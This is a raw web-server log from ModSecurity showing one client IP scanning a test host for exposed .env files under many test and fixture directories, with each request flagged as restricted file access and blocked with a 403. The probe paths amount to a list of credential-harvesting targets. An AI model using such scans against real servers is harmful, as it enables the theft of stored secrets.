[Wed Feb 25 06:05:41.177246 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDxQAAAAU&quot;]
[Wed Feb 25 06:05:41.177881 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v8.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CQAAAAM&quot;]
[Wed Feb 25 06:05:41.178159 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CQAAAAM&quot;]
[Wed Feb 25 06:05:41.178327 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CQAAAAM&quot;]
[Wed Feb 25 06:05:41.201533 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/addorg3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDxgAAAAU&quot;]
[Wed Feb 25 06:05:41.201812 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDxgAAAAU&quot;]
[Wed Feb 25 06:05:41.202011 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDxgAAAAU&quot;]
[Wed Feb 25 06:05:41.245756 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v9.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CgAAAAM&quot;]
[Wed Feb 25 06:05:41.246041 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CgAAAAM&quot;]
[Wed Feb 25 06:05:41.246258 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CgAAAAM&quot;]
[Wed Feb 25 06:05:41.281743 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/drupal-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CwAAAAM&quot;]
[Wed Feb 25 06:05:41.282021 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CwAAAAM&quot;]
[Wed Feb 25 06:05:41.282180 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6CwAAAAM&quot;]
[Wed Feb 25 06:05:41.306549 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/integration/environment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DAAAAAM&quot;]
[Wed Feb 25 06:05:41.306785 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DAAAAAM&quot;]
[Wed Feb 25 06:05:41.306941 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DAAAAAM&quot;]
[Wed Feb 25 06:05:41.328396 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/todo-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DQAAAAM&quot;]
[Wed Feb 25 06:05:41.328640 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DQAAAAM&quot;]
[Wed Feb 25 06:05:41.328798 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DQAAAAM&quot;]
[Wed Feb 25 06:05:41.364037 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/aries-js-worker/fixtures/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDyAAAAAU&quot;]
[Wed Feb 25 06:05:41.364295 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDyAAAAAU&quot;]
[Wed Feb 25 06:05:41.364482 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/aries-js-worker/fixtures/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDyAAAAAU&quot;]
[Wed Feb 25 06:05:41.390072 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testwork_json/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DgAAAAM&quot;]
[Wed Feb 25 06:05:41.390322 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DgAAAAM&quot;]
[Wed Feb 25 06:05:41.390544 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ6DJbZegw_qLbSTRXm6DgAAAAM&quot;]
[Wed Feb 25 06:05:41.439522 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/adapter-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDyQAAAAU&quot;]
[Wed Feb 25 06:05:41.439791 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDyQAAAAU&quot;]
[Wed Feb 25 06:05:41.439979 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/adapter-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDyQAAAAU&quot;]
[Wed Feb 25 06:05:41.476547 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/agent-rest/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDygAAAAU&quot;]
[Wed Feb 25 06:05:41.476795 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDygAAAAU&quot;]
[Wed Feb 25 06:05:41.476957 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/agent-rest/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDygAAAAU&quot;]
[Wed Feb 25 06:05:41.506698 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/bdd/fixtures/couchdb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/bdd/fixtures/couchdb/.env&quot;] [unique_id &quot;aZ6DJeTWwZsZM3_RktVDywAAAAU&quot;]
